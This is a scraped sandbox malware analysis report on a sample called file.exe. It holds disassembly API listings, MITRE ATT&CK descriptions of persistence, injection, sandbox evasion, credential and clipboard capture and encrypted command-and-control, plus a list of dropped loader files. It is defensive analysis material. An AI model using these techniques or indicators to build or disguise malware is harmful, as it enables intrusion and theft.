Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction ID: c3c9ba135fb9cbcc5263534f4c07e322ce29f53e9eda4e03cc008bde6a4ec24c
Opcode Fuzzy Hash: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction Fuzzy Hash: 44E0EC70504209ABEF009B64EE49E7F7BBCEB00305F504575BD51E2561D774D9188A68

Function 004062A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004060E7: CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 004062A5, 004062AA

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: CloseHandlelstrlenwvsprintf
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3509786178-2769509956
Opcode ID: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction ID: 8d95e7b1bd6a8fe250904a0927f32055e446839aab417a06e937ad69edd5bb19
Opcode Fuzzy Hash: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction Fuzzy Hash: 04D05E34150316BACA009BA0DE09E997B64FBD0384F50442EF147C5070FA748001C70E

Function 00405DB6 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
lstrcmpiA.KERNEL32(?,?), ref: 00405DDE
CharNextA.USER32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DEF
lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction ID: 82a91399e33c41d3abe84131f59dcd741317d7299bce3ff9d06b8c6e92496674
Opcode Fuzzy Hash: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction Fuzzy Hash: D5F0CD31205988EFCB019FA9CD04C9FBBA8EF56350B2180AAE840E7310D630EE01DBA4

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Spreading

System Summary

Data Obfuscation

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

DDoS

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.js

C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr

C:\Users\user\AppData\Local\InnoSphere Dynamics\l

C:\Users\user\AppData\Local\Temp\303482\Either.pif

C:\Users\user\AppData\Local\Temp\403

C:\Users\user\AppData\Local\Temp\407

C:\Users\user\AppData\Local\Temp\768032\Finish.com

C:\Users\user\AppData\Local\Temp\768032\G

C:\Users\user\AppData\Local\Temp\Bailey

C:\Users\user\AppData\Local\Temp\Become

C:\Users\user\AppData\Local\Temp\Bt

C:\Users\user\AppData\Local\Temp\Considerations

C:\Users\user\AppData\Local\Temp\Disco

Windows Analysis Report
file.exe

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre